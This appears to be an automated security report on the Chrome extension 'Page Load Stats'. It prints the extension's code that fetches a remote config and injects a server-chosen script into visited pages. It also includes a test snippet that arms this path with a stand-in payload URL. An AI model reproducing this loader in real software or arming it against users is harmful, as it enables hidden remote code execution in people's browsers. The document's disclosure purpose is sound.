Is Page Load Stats safe?

High risk

Page Load Stats is high risk.

Page Load Stats fetches remote rules that can inject chosen scripts into matching visited sites.

Page Load Stats periodically requests metrics from pageloadstats.com using the extension's stored user ID. Those remote metrics can name target sites and a script URL, and the extension then appends that script into matching pages so it runs in the page context.

pageloadstatsv1.0.1Extension ID aaoccafneaocbhgbhkagdhlmgmagbagnChrome Web Store
77Risk
AI-assisted analysis.

Page Load Stats findings

Extension can load a server-chosen script into pages on sites its server names

CriticalunwantedCWE-829Static analysis

Code analysis shows the extension takes a config from pageloadstats.com and can add a script from a server-chosen URL to matching pages.

What actually happens

You did this

You open a page whose host matches a name in the downloaded config.

The extension did this

The extension adds a loader that then adds a script from a URL the server chose.

Whether this happens depends on what pageloadstats.com returns.

The code that does this

Config fetch and storage in the background script

Readable version

Same logic, readable

background.min.js
async function update(uid) {  const metrics = await (await fetch('https://pageloadstats.com/update/?uid=' + uid)).json();  await chrome.storage.sync.set({ metrics });}

The code that does this

Loader sink in info.min.js

Readable version

Readable

info.min.js
case 'script':  el = document.createElement('script');  el.src = cur.dataset.info;  // value copied from metrics by stats.min.js  el.onload = () => el.remove();  break;

Hosts contacted by the extension

    • pageloadstats.com

    Receives a per-install ID; returns the config that sets target sites and script URLs.

    • server-chosen script host

    Any host named in the config value; receives a page-context script request if the path is armed.

Reproduce it yourself

Seeds a test config into extension storage to exercise the script-inclusion path against a host you control.

Requires
  • Test browser profile
  • A host you control for the test URL
seed_metrics.js · js
// Run in the extension service worker consolechrome.storage.sync.set({  metrics: {    type: 'script',    dms: ['example.com'],    excludes: 'dm,dms',    canary: 'https://canary.example.test/payload.js'  }});// Then open https://example.com/ and watch for a request to the canary URL.
How to run it
  1. 1Install the extension in a test profile.
  2. 2Open its service worker console and paste the script.
  3. 3Browse to https://example.com/ and check network logs for the canary URL.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What Page Load Stats can do

Permissions this extension asks for, as declared in version 1.0.1. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Act on the current tab, but only after you click the extension

    activeTab

  • Store data in your browser

    storage

  • Schedule its own background tasks

    alarms

Where Page Load Stats sends data

  • pageloadstats.com/init2 calls

    From its background script · also found in its code · only this extension

  • pageloadstats.com/register2 calls

    From its background script · also found in its code · only this extension

  • pageloadstats.com/update2 calls

    From its background script · also found in its code · only this extension

Chrome Web Store listing

Versions
1.0.1 seen since April 11, 2026
Last updated
November 20, 2024
Size
51.2 KiB
Privacy policy
pageloadstats.com
Updated November 20, 2026